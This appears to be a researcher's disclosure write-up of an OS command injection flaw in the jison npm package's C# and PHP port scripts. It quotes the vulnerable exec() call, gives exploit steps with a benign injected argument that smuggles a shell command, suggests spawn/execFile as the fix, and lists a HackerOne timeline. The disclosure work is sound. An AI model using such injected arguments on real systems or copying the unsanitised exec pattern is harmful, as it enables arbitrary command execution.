OS Command Injection on Node.JS Jison module
Finding OS Command Injection vulnerability which allows arbitrary shell command execution through a crafted command-line argument on Jison in parser ports began when I started receiving lots of invites over Hackerone.
What is Command Injection?
An injection vulnerability manifests when application code sends untrusted user input to an interpreter as part of a command or query. Result? Arbitrary OS command execution.
Module Description
Jison - An API for creating parsers in JavaScriptJison generates bottom-up parsers in JavaScript. Its API is similar to Bison’s, hence the name. It supports many of Bison’s major features, plus some of its own. If you are new to parser generators such as Bison, and Context-free Grammars in general, a good introduction is found in the Bison manual. If you already know Bison, Jison should be easy to pickup.
Briefly, Jison takes a JSON encoded grammar or Bison style grammar and outputs a JavaScript file capable of parsing the language described by that grammar. You can then use the generated script to parse inputs and accept, reject, or perform actions based on the input.
Module Stats
Module: jison
Version: 0.4.18
NPM Project Page: https://www.npmjs.com/package/jison
Downloads in last week of September 2019 (api.npmjs.org/downloads/last-week/jison)
downloads : 138857
start : 2019–08–31
end : 2019–09–06
package : jison
Downloads in August 2019 (api.npmjs.org/downloads/last-month/jison)
downloads : 678197
start : 2019–08–08
end : 2019–09–06
package : jison
latest stats - https://npm-stat.com/charts.html?package=jison
The vulnerability
Jison has parsing/lexing templates. After combing through the code-base, I found that the templates in PHP and C# don’t sanitize process.argv
(command line arguments) before passing it to child_process.exec()
, hence allowing arbitrary shell command injection.
The vulnerable code is in /ports/csharp/Jison/Jison/csharp.js
at csharp.js#L19
console.log(“Executing: “ + “jison “ + process.argv[2]);
exec(“jison “ + process.argv[2], function (error) {
if (error) {
console.log(error);
return;
}
Exploit
1. Installing Jison command-line tool via npm install jison -g
2. Obtaining Jison parsing templates — git clone https://github.com/zaach/jison
3. cd jison/ports/csharp/Jison/Jison/
4. Payload — node csharp.js “echo’’>pwned”
5. Check if the attack was successful (our dummy payload was executed or not) — ls -la
Similarly, /ports/php/php.js
is vulnerable too as it contains the same blob php.js#L19. ””
was added just to isolate the payload.
Demo
Patch
Sanitizing the input. Unlike exec
, the spawn
and execFile
method signatures force developers to separate the command and its arguments. (https://nodejs.org/api/child_process.html)
Timeline
Submission: 2019–09–07 05:36:16 +0000
UPDATE: 2019–09–07 09:46:24 +0000 (bug triaged)
Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.
Regards,
--REDACTED--
Great, right? I fell in love with Node.Js / Hackerone team. <3
But, now the ball was in the open-source developer's court and that is what happened next ...
—
Quickly acknowledging, validating, and resolving submitted issues while recognizing the researcher's effort is vital for successful vulnerability coordination, but open-source developers often just don't give a f*ck which only hurts them, in my honest opinion.
To depict this common behaviour, I intentionally published this story today, i.e. on 29th February. Be sure to keep an eye on the very next update of this bug which may come in the year 2024.
And that's a wrap.